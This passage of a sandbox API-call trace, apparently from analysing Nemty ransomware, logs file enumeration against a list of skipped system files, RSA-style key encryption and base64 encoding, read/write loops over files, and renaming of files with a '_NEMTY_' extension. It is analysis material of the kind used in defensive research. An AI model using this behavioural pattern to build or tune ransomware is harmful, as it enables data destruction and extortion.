lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.462] CloseHandle (hObject=0xffffffff) returned 0 [0130.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0130.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0130.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png._nemty_kgobjgd_")) returned 0 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.462] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc903c050, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc903c050, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_left_mouseout.png", cAlternateFileName="")) returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2=".") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="..") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="...") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="windows") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="$RECYCLE.BIN") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="rsa") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="NTDETECT.COM") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="ntldr") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="MSDOS.SYS") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="IO.SYS") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="boot.ini") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="boot.ini") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="ntuser.dat") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="desktop.ini") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="CONFIG.SYS") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="RECYCLER") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="BOOTSECT.BAK") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="bootmgr") returned 1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="programdata") returned -1 [0130.463] lstrcmpiW (lpString1="button_left_mouseout.png", lpString2="appdata") returned 1 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseout.png", lpUsedDefaultChar=0x0) returned 24 [0130.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseout.png", lpUsedDefaultChar=0x0) returned 24 [0130.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0130.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseout.png", lpUsedDefaultChar=0x0) returned 24 [0130.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0130.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mouseout.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mouseout.png", lpUsedDefaultChar=0x0) returned 24 [0130.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.464] Sleep (dwMilliseconds=0x5) [0130.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16ab130, dwHighDateTime=0x1d561e8)) [0130.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16ab130, dwHighDateTime=0x1d561e8)) [0130.476] GetLastError () returned 0x5 [0130.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.476] GetLastError () returned 0x5 [0130.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.477] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.477] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="TeWseP1uAkiRN7RCsbL3xtYH1DngMc9OEErnhxY0/APeY7T0+vbKOlYdJtCS6nLa\r\neVXPV6NUjO02300hlxE2xa6loa6tb4HW41vvhaswr8BrBeeTvoHHNNoij+YyupeQ\r\nbWM1Cv+fJ9sPJlpghyruPE4b3fygAPW/p/CEGpw95KlzcyEwPd3zsmgw6PIrNhsA\r\nWStcFliM7mfMKPVw6jeKdzHQ1AH8a/Q9mRvrhJVj0GxkmdNel6hzIweykwXN30mP\r\nb2DJyGHQoEcPHJc0fTUPiPr3q+DdOmE6OhCnBez9mKC2x04VH5AZvusdJBlbHOnB\r\nyH8KSMA7hS7It89I1S3Nhw==\r\n", pcchString=0x653e91c) returned 1 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.477] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.477] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 